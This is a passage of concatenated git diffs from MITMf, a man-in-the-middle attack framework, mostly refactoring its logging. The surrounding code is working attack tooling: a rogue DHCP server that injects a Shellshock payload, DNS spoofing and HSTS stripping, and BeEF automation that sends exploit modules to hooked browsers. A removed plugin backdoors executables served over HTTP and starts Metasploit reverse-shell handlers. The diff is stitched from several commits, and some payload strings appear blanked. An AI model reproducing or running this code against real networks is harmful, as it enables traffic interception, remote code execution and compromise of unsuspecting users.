mitmf_logger.debug("[URLMonitor][AppCachePoison] Set redirection: %s" % url_set) self.redirects.append(url_set) def getRedirectionSet(self, url): @@ -111,10 +113,10 @@ class URLMonitor: else: self.sustitucion[host] = "web"+host self.real["web"+host] = host - logging.debug("[URLMonitor][HSTS] SSL host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) + mitmf_logger.debug("[URLMonitor][HSTS] SSL host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) url = 'http://' + host + path - #logging.debug("HSTS stripped URL: %s %s"%(client, url)) + #mitmf_logger.debug("HSTS stripped URL: %s %s"%(client, url)) self.strippedURLs.add((client, url)) self.strippedURLPorts[(client, url)] = int(port) @@ -161,10 +163,10 @@ class URLMonitor: return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) def URLgetRealHost(self, host): - logging.debug("[URLMonitor][HSTS] Parsing host: %s"% host) + mitmf_logger.debug("[URLMonitor][HSTS] Parsing host: %s"% host) if self.real.has_key(host): - logging.debug("[URLMonitor][HSTS] Found host in list: %s"% self.real[host]) + mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: %s"% self.real[host]) return self.real[host] else: - logging.debug("[URLMonitor][HSTS] Host not in list: %s"% host) + mitmf_logger.debug("[URLMonitor][HSTS] Host not in list: %s"% host) return host diff --git a/core/utils.py b/core/utils.py index 7ac1498..1a3d608 100644 --- a/core/utils.py +++ b/core/utils.py @@ -41,8 +41,8 @@ class SystemConfig: os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % http_redir_port) @staticmethod - def DNS(queue_number): - os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num %s' % queue_number) + def DNS(ip, port): + os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to %s:%s' % (ip, port)) class Banners: diff --git a/core/wrappers/protocols.py b/core/wrappers/protocols.py index 0e06696..c61d365 100644 --- a/core/wrappers/protocols.py +++ b/core/wrappers/protocols.py @@ -32,6 +32,8 @@ from netfilterqueue import NetfilterQueue logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import * +mitmf_logger = logging.getLogger('mitmf') + class _DHCP(): def __init__(self, interface, dhcpcfg, ip, mac): @@ -79,8 +81,8 @@ class _DHCP(): self.dhcp_dic[xid] = client_ip if resp[DHCP].options[0][1] is 1: - logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) - logging.info("Sending DHCP OFFER") + mitmf_logger.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) + mitmf_logger.info("Sending DHCP OFFER") packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / IP(src=self.ip_address, dst='255.255.255.255') / UDP(sport=67, dport=68) / @@ -102,7 +104,7 @@ class _DHCP(): sendp(packet, iface=self.interface, verbose=self.debug) if resp[DHCP].options[0][1] is 3: - logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) + mitmf_logger.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / IP(src=self.ip_address, dst='255.255.255.255') / UDP(sport=67, dport=68) / @@ -121,11 +123,11 @@ class _DHCP(): pass if self.shellshock: - logging.info("Sending DHCP ACK with shellshock payload") + mitmf_logger.info("Sending DHCP ACK with shellshock payload") packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) packet[DHCP].options.append("end") else: - logging.info("Sending DHCP ACK") + mitmf_logger.info("Sending DHCP ACK") packet[DHCP].options.append("end") sendp(packet, iface=self.interface, verbose=self.debug) @@ -250,10 +252,11 @@ class _DNS(): hstscfg = None dnscfg = None _instance = None - nfqueue = NetfilterQueue() + nfqueue = None queue_number = 0 def __init__(self): + self.nfqueue = NetfilterQueue() t = threading.Thread(name='nfqueue', target=self.bind, args=()) t.setDaemon(True) t.start() @@ -292,7 +295,7 @@ class _DNS(): def resolve_domain(self, domain): try: - logging.debug("Resolving -> %s" % domain) + mitmf_logger.debug("Resolving -> %s" % domain) answer = dns.resolver.query(domain, 'A') real_ips = [] for rdata in answer: @@ -302,11 +305,11 @@ class _DNS(): return real_ips except Exception: - logging.info("Error resolving " + domain) + mitmf_logger.info("Error resolving " + domain) def callback(self, payload): try: - #logging.debug(payload) + #mitmf_logger.debug(payload) pkt = IP(payload.get_payload()) if not pkt.haslayer(DNSQR): @@ -314,7 +317,7 @@ class _DNS(): return if pkt.haslayer(DNSQR): - logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) + mitmf_logger.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) if self.dns: for k, v in self.dnscfg.items(): if k in pkt[DNSQR].qname: @@ -359,13 +362,13 @@ class _DNS(): spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field for i in ip: spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) - logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) + mitmf_logger.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) payload.set_payload(str(spoofed_pkt)) payload.accept() if self.dns: spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) - logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) + mitmf_logger.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) payload.set_payload(str(spoofed_pkt)) payload.accept() diff --git a/libs/dnschef b/libs/dnschef new file mode 160000 index 0000000..88a9c08 --- /dev/null +++ b/libs/dnschef @@ -0,0 +1 @@ +Subproject commit 88a9c08a9be5ee921d3d8eeeb16d421c9b5df0af diff --git a/logs/.gitignore b/logs/.gitignore index 13038f6..4f167e8 100644 --- a/logs/.gitignore +++ b/logs/.gitignore @@ -1,3 +1,4 @@ * !.gitignore !responder/ +!dnschef/ diff --git a/logs/dnschef/.gitignore b/logs/dnschef/.gitignore new file mode 100644 index 0000000..d6b7ef3 --- /dev/null +++ b/logs/dnschef/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore diff --git a/mitmf.py b/mitmf.py index 1f6ca9c..d8a5c80 100755 --- a/mitmf.py +++ b/mitmf.py @@ -60,7 +60,7 @@ parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM att mgroup = parser.add_argument_group("MITMf", "Options for MITMf") mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") mgroup.add_argument("-i", "--interface", required=True, type=str, metavar="interface" ,help="Interface to listen on") -mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.cfg", metavar='configfile', help="Specify config file to use") +mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.conf", metavar='configfile', help="Specify config file to use") mgroup.add_argument('-d', '--disable-proxy', dest='disproxy', action='store_true', default=False, help='Only run plugins, disable all proxies') #added by alexander.georgiev@daloo.de mgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') @@ -147,11 +147,11 @@ log_level = logging.__dict__[args.log_level.upper()] #Start logging logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") logFormatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -rootLogger = logging.getLogger() +mitmf_logger = logging.getLogger('mitmf') fileHandler = logging.FileHandler("./logs/mitmf.log") fileHandler.setFormatter(logFormatter) -rootLogger.addHandler(fileHandler) +mitmf_logger.addHandler(fileHandler) ##################################################################################################### @@ -173,6 +173,7 @@ for p in plugins: if p.output: for line in p.output: print "| |_ %s" % line + p.output.remove(line) except Exception, e: print "[-] Error loading plugin %s: %s" % (p.name, str(e)) diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py index f315010..667cb7a 100644 --- a/plugins/AppCachePoison.py +++ b/plugins/AppCachePoison.py @@ -30,6 +30,8 @@ from plugins.plugin import Plugin from datetime import date from core.sslstrip.URLMonitor import URLMonitor +mitmf_logger = logging.getLogger('mitmf') + class AppCachePlugin(Plugin): name = "App Cache Poison" optname = "appoison" @@ -61,22 +63,22 @@ class AppCachePlugin(Plugin): if "enable_only_in_useragents" in self.config: regexp = self.config["enable_only_in_useragents"] if regexp and not re.search(regexp,req_headers["user-agent"]): - logging.info("%s Tampering disabled in this useragent (%s)" % (ip, req_headers["user-agent"])) + mitmf_logger.info("%s Tampering disabled in this useragent (%s)" % (ip, req_headers["user-agent"])) return {'request': request, 'data': data} urls = self.urlMonitor.getRedirectionSet(url) - logging.debug("%s [AppCachePoison] Got redirection set: %s" % (ip, urls)) + mitmf_logger.debug("%s [AppCachePoison] Got redirection set: %s" % (ip, urls)) (name,s,element,url) = self.getSectionForUrls(urls) if s is False: data = self.tryMassPoison(url, data, headers, req_headers, ip) return {'request': request, 'data': data} - logging.info("%s Found URL %s in section %s" % (ip, url, name)) + mitmf_logger.info("%s Found URL %s in section %s" % (ip, url, name)) p = self.getTemplatePrefix(s) if element == 'tamper': - logging.info("%s Poisoning tamper URL with template %s" % (ip, p)) + mitmf_logger.info("%s Poisoning tamper URL with template %s" % (ip, p)) if os.path.exists(p + '.replace'): # replace whole content f = open(p + '.replace','r') data = self.decorate(f.read(), s) @@ -93,12 +95,12 @@ class AppCachePlugin(Plugin): data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index de03d96..dd18032 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -31,6 +31,8 @@ from time import sleep requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message requests_log.setLevel(logging.WARNING) +mitmf_logger = logging.getLogger('mitmf') + class BeefAutorun(Inject, Plugin): name = "BeEFAutorun" optname = "beefauto" @@ -83,7 +85,7 @@ class BeefAutorun(Inject, Plugin): if session not in already_hooked: info = beef.hook_info(session) - logging.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os'])) + mitmf_logger.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os'])) already_hooked.append(session) self.black_ips.append(str(info['ip'])) @@ -106,17 +108,17 @@ class BeefAutorun(Inject, Plugin): hook_os = session_info['os'] if len(self.All_modules) > 0: - logging.info("%s >> sending generic modules" % session_ip) + mitmf_logger.info("%s >> sending generic modules" % session_ip) for module, options in self.All_modules.iteritems(): mod_id = beef.module_id(module) resp = beef.module_run(session, mod_id, json.loads(options)) if resp["success"] == 'true': - logging.info('%s >> sent module %s' % (session_ip, mod_id)) + mitmf_logger.info('%s >> sent module %s' % (session_ip, mod_id)) else: - logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) + mitmf_logger.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) sleep(0.5) - logging.info("%s >> sending targeted modules" % session_ip) + mitmf_logger.info("%s >> sending targeted modules" % session_ip) for os in self.Targeted_modules: if (os in hook_os) or (os == hook_os): browsers = self.Targeted_modules[os] @@ -129,7 +131,7 @@ class BeefAutorun(Inject, Plugin): mod_id = beef.module_id(module) resp = beef.module_run(session, mod_id, json.loads(options)) if resp["success"] == 'true': - logging.info('%s >> sent module %s' % (session_ip, mod_id)) + mitmf_logger.info('%s >> sent module %s' % (session_ip, mod_id)) else: - logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) + mitmf_logger.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) sleep(0.5) diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index 3777009..315047b 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -23,6 +23,8 @@ from plugins.Inject import Inject from pprint import pformat import logging +mitmf_logger = logging.getLogger('mitmf') + class BrowserProfiler(Inject, Plugin): name = "Browser Profiler" optname = "browserprofiler" @@ -53,7 +55,7 @@ class BrowserProfiler(Inject, Plugin): if self.dic_output['plugin_list'] > 0: self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',') pretty_output = pformat(self.dic_output) - logging.info("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output)) + mitmf_logger.info("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output)) def get_payload(self): payload = """' % (self.ip_address, beefconfig['beefport']) - - beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) - if not beef.login(beefconfig['user'], beefconfig['pass']): - sys.exit("[-] Error logging in to BeEF!") - self.tree_output.append("Mode: %s" % self.Mode) + self.onConfigChange() - t = threading.Thread(name="autorun", target=self.autorun, args=(beef,)) + t = threading.Thread(name="autorun", target=self.autorun, args=()) t.setDaemon(True) t.start() - def autorun(self, beef): + def onConfigChange(self): + + beefconfig = self.config['MITMf']['BeEF'] + + self.html_payload = ''.format(self.ip_address, beefconfig['beefport']) + + self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) + if not self.beef.login(beefconfig['user'], beefconfig['pass']): + sys.exit("[-] Error logging in to BeEF!") + + self.tree_output.append("Mode: {}".format(self.config['BeEFAutorun']['mode'])) + + def autorun(self): already_ran = [] already_hooked = [] while True: - sessions = beef.sessions_online() + mode = self.config['BeEFAutorun']['mode'] + sessions = self.beef.sessions_online() if (sessions is not None and len(sessions) > 0): for session in sessions: if session not in already_hooked: - info = beef.hook_info(session) - mitmf_logger.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os'])) + info = self.beef.hook_info(session) + mitmf_logger.info("{} >> joined the horde! [id:{}, type:{}-{}, os:{}]".format(info['ip'], info['id'], info['name'], info['version'], info['os'])) already_hooked.append(session) self.black_ips.append(str(info['ip'])) - if self.Mode == 'oneshot': + if mode == 'oneshot': if session not in already_ran: - self.execModules(session, beef) + self.execModules(session) already_ran.append(session) - elif self.Mode == 'loop': - self.execModules(session, beef) + elif mode == 'loop': + self.execModules(session) sleep(10) else: sleep(1) - def execModules(self, session, beef): - session_info = beef.hook_info(session) - session_ip = session_info['ip'] - hook_browser = session_info['name'] - hook_os = session_info['os'] + def execModules(self, session): + session_info = self.beef.hook_info(session) + session_ip = session_info['ip'] + hook_browser = session_info['name'] + hook_os = session_info['os'] + all_modules = self.config['BeEFAutorun']["ALL"] + targeted_modules = self.config['BeEFAutorun']["targets"] - if len(self.All_modules) > 0: - mitmf_logger.info("%s >> sending generic modules" % session_ip) - for module, options in self.All_modules.iteritems(): - mod_id = beef.module_id(module) - resp = beef.module_run(session, mod_id, json.loads(options)) + if len(all_modules) > 0: + mitmf_logger.info("{} >> sending generic modules".format(session_ip)) + for module, options in all_modules.iteritems(): + mod_id = self.beef.module_id(module) + resp = self.beef.module_run(session, mod_id, json.loads(options)) if resp["success"] == 'true': - mitmf_logger.info('%s >> sent module %s' % (session_ip, mod_id)) + mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) else: - mitmf_logger.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) + mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) sleep(0.5) - mitmf_logger.info("%s >> sending targeted modules" % session_ip) - for os in self.Targeted_modules: + mitmf_logger.info("{} >> sending targeted modules".format(session_ip)) + for os in targeted_modules: if (os in hook_os) or (os == hook_os): - browsers = self.Targeted_modules[os] + browsers = targeted_modules[os] if len(browsers) > 0: for browser in browsers: if browser == hook_browser: - modules = self.Targeted_modules[os][browser] + modules = targeted_modules[os][browser] if len(modules) > 0: for module, options in modules.iteritems(): - mod_id = beef.module_id(module) - resp = beef.module_run(session, mod_id, json.loads(options)) + mod_id = self.beef.module_id(module) + resp = self.beef.module_run(session, mod_id, json.loads(options)) if resp["success"] == 'true': - mitmf_logger.info('%s >> sent module %s' % (session_ip, mod_id)) + mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) else: - mitmf_logger.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) + mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) sleep(0.5) diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index 8f3afa1..44ea3c5 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -54,7 +54,7 @@ class BrowserProfiler(Inject, Plugin): if self.dic_output['plugin_list'] > 0: self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',') pretty_output = pformat(self.dic_output) - mitmf_logger.info("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output)) + mitmf_logger.info("{} >> Browser Profiler data:\n{}".format(request.client.getClientIP(), pretty_output)) def get_payload(self): payload = """'.format(self.ip_address, beefconfig['beefport']) - - self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) - if not self.beef.login(beefconfig['user'], beefconfig['pass']): - sys.exit("[-] Error logging in to BeEF!") - - self.tree_output.append("Mode: {}".format(self.config['BeEFAutorun']['mode'])) - - def autorun(self): - already_ran = [] - already_hooked = [] - - while True: - mode = self.config['BeEFAutorun']['mode'] - sessions = self.beef.sessions_online() - if (sessions is not None and len(sessions) > 0): - for session in sessions: - - if session not in already_hooked: - info = self.beef.hook_info(session) - mitmf_logger.info("{} >> joined the horde! [id:{}, type:{}-{}, os:{}]".format(info['ip'], info['id'], info['name'], info['version'], info['os'])) - already_hooked.append(session) - self.black_ips.append(str(info['ip'])) - - if mode == 'oneshot': - if session not in already_ran: - self.execModules(session) - already_ran.append(session) - - elif mode == 'loop': - self.execModules(session) - sleep(10) - - else: - sleep(1) - - def execModules(self, session): - session_info = self.beef.hook_info(session) - session_ip = session_info['ip'] - hook_browser = session_info['name'] - hook_os = session_info['os'] - all_modules = self.config['BeEFAutorun']["ALL"] - targeted_modules = self.config['BeEFAutorun']["targets"] - - if len(all_modules) > 0: - mitmf_logger.info("{} >> sending generic modules".format(session_ip)) - for module, options in all_modules.iteritems(): - mod_id = self.beef.module_id(module) - resp = self.beef.module_run(session, mod_id, json.loads(options)) - if resp["success"] == 'true': - mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) - else: - mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) - sleep(0.5) - - mitmf_logger.info("{} >> sending targeted modules".format(session_ip)) - for os in targeted_modules: - if (os in hook_os) or (os == hook_os): - browsers = targeted_modules[os] - if len(browsers) > 0: - for browser in browsers: - if browser == hook_browser: - modules = targeted_modules[os][browser] - if len(modules) > 0: - for module, options in modules.iteritems(): - mod_id = self.beef.module_id(module) - resp = self.beef.module_run(session, mod_id, json.loads(options)) - if resp["success"] == 'true': - mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) - else: - mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) - sleep(0.5) diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py deleted file mode 100644 index 44ea3c5..0000000 --- a/plugins/BrowserProfiler.py +++ /dev/null @@ -1,129 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -from plugins.plugin import Plugin -from plugins.Inject import Inject -from pprint import pformat -import logging - -mitmf_logger = logging.getLogger('mitmf') - -class BrowserProfiler(Inject, Plugin): - name = "Browser Profiler" - optname = "browserprofiler" - desc = "Attempts to enumerate all browser plugins of connected clients" - implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] - depends = ["Inject"] - version = "0.2" - has_opts = False - - def initialize(self, options): - Inject.initialize(self, options) - self.html_payload = self.get_payload() - self.dic_output = {} # so other plugins can access the results - - def post2dict(self, post): #converts the ajax post to a dic - dict = {} - for line in post.split('&'): - t = line.split('=') - dict[t[0]] = t[1] - return dict - - def sendPostData(self, request): - #Handle the plugin output - if 'clientprfl' in request.uri: - self.dic_output = self.post2dict(request.postData) - self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client - if self.dic_output['plugin_list'] > 0: - self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',') - pretty_output = pformat(self.dic_output) - mitmf_logger.info("{} >> Browser Profiler data:\n{}".format(request.client.getClientIP(), pretty_output)) - - def get_payload(self): - payload = """""" - - return payload diff --git a/plugins/CacheKill.py b/plugins/CacheKill.py index b912244..c039f61 100644 --- a/plugins/CacheKill.py +++ b/plugins/CacheKill.py @@ -20,7 +20,6 @@ from plugins.plugin import Plugin - class CacheKill(Plugin): name = "CacheKill" optname = "cachekill" diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py deleted file mode 100644 index ebe6fbc..0000000 --- a/plugins/FilePwn.py +++ /dev/null @@ -1,652 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' -# -# Author Joshua Pitts the.midnite.runr 'at' gmail com -# -# Copyright (c) 2013-2014, Joshua Pitts -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without modification, -# are permitted provided that the following conditions are met: -# -# 1. Redistributions of source code must retain the above copyright notice, -# this list of conditions and the following disclaimer. -# -# 2. Redistributions in binary form must reproduce the above copyright notice, -# this list of conditions and the following disclaimer in the documentation -# and/or other materials provided with the distribution. -# -# 3. Neither the name of the copyright holder nor the names of its contributors -# may be used to endorse or promote products derived from this software without -# specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE -# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -# POSSIBILITY OF SUCH DAMAGE. -# -# Tested on Kali-Linux. - -import sys -import os -import pefile -import zipfile -import logging -import shutil -import random -import string -import tarfile -import multiprocessing -import threading - -from libs.bdfactory import pebin -from libs.bdfactory import elfbin -from libs.bdfactory import machobin -from core.msfrpc import Msfrpc -from core.configwatcher import ConfigWatcher -from plugins.plugin import Plugin -from tempfile import mkstemp -from configobj import ConfigObj - -mitmf_logger = logging.getLogger('mitmf') - -class FilePwn(Plugin, ConfigWatcher): - name = "FilePwn" - optname = "filepwn" - desc = "Backdoor executables being sent over http using bdfactory" - implements = ["handleResponse"] - tree_output = ["BDFProxy v0.3.2 online"] - version = "0.3" - has_opts = False - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - - self.patched = multiprocessing.Queue() - - #FOR FUTURE USE - self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream'] - - #FOR FUTURE USE - self.zipMimeTypes = ['application/x-zip-compressed', 'application/zip'] - - #USED NOW - self.magicNumbers = {'elf': {'number': '7f454c46'.decode('hex'), 'offset': 0}, - 'pe': {'number': 'MZ', 'offset': 0}, - 'gz': {'number': '1f8b'.decode('hex'), 'offset': 0}, - 'bz': {'number': 'BZ', 'offset': 0}, - 'zip': {'number': '504b0304'.decode('hex'), 'offset': 0}, - 'tar': {'number': 'ustar', 'offset': 257}, - 'fatfile': {'number': 'cafebabe'.decode('hex'), 'offset': 0}, - 'machox64': {'number': 'cffaedfe'.decode('hex'), 'offset': 0}, - 'machox86': {'number': 'cefaedfe'.decode('hex'), 'offset': 0}, - } - - #NOT USED NOW - #self.supportedBins = ('MZ', '7f454c46'.decode('hex')) - - #FilePwn options - self.userConfig = self.config['FilePwn'] - self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax'] - self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86'] - self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64'] - self.WindowsType = self.userConfig['targets']['ALL']['WindowsType'] - self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86'] - self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64'] - self.LinuxType = self.userConfig['targets']['ALL']['LinuxType'] - self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86'] - self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64'] - self.FatPriority = self.userConfig['targets']['ALL']['FatPriority'] - self.zipblacklist = self.userConfig['ZIP']['blacklist'] - self.tarblacklist = self.userConfig['TAR']['blacklist'] - - #Metasploit options - msfcfg = self.config['MITMf']['Metasploit'] - rpcip = msfcfg['rpcip'] - rpcpass = msfcfg['rpcpass'] - - try: - msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary - msf.login('msf', rpcpass) - version = msf.call('core.version')['version'] - self.tree_output.append("Connected to Metasploit v{}".format(version)) - except Exception: - sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") - - self.tree_output.append("Setting up Metasploit payload handlers") - jobs = msf.call('job.list') - for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]: - cmd = "use exploit/multi/handler\n" - cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) - cmd += "set LHOST {}\n".format(config["HOST"]) - cmd += "set LPORT {}\n".format(config["PORT"]) - cmd += "exploit -j\n" - - if jobs: - for pid, name in jobs.iteritems(): - info = msf.call('job.info', [pid]) - if (info['name'] != "Exploit: multi/handler") or (info['datastore']['payload'] != config["MSFPAYLOAD"]) or (info['datastore']['LPORT'] != config["PORT"]) or (info['datastore']['lhost'] != config['HOST']): - #Create a virtual console - c_id = msf.call('console.create')['id'] - - #write the cmd to the newly created console - msf.call('console.write', [c_id, cmd]) - else: - #Create a virtual console - c_id = msf.call('console.create')['id'] - - #write the cmd to the newly created console - msf.call('console.write', [c_id, cmd]) - - def onConfigChange(self): - self.initialize(self.options) - - def convert_to_Bool(self, aString): - if aString.lower() == 'true': - return True - elif aString.lower() == 'false': - return False - elif aString.lower() == 'none': - return None - - def bytes_have_format(self, bytess, formatt): - number = self.magicNumbers[formatt] - if bytess[number['offset']:number['offset'] + len(number['number'])] == number['number']: - return True - return False - - def binaryGrinder(self, binaryFile): - """ - Feed potential binaries into this function, - it will return the result PatchedBinary, False, or None - """ - - with open(binaryFile, 'r+b') as f: - binaryTMPHandle = f.read() - - binaryHeader = binaryTMPHandle[:4] - result = None - - try: - if binaryHeader[:2] == 'MZ': # PE/COFF - pe = pefile.PE(data=binaryTMPHandle, fast_load=True) - magic = pe.OPTIONAL_HEADER.Magic - machineType = pe.FILE_HEADER.Machine - - #update when supporting more than one arch - if (magic == int('20B', 16) and machineType == 0x8664 and - self.WindowsType.lower() in ['all', 'x64']): - add_section = False - cave_jumping = False - if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append': - add_section = True - elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump': - cave_jumping = True - - # if automatic override - if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic': - cave_jumping = True - - targetFile = pebin.pebin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.WindowsIntelx64['SHELL'], - HOST=self.WindowsIntelx64['HOST'], - PORT=int(self.WindowsIntelx64['PORT']), - ADD_SECTION=add_section, - CAVE_JUMPING=cave_jumping, - IMAGE_TYPE=self.WindowsType, - PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx64['PATCH_DLL']), - SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'], - 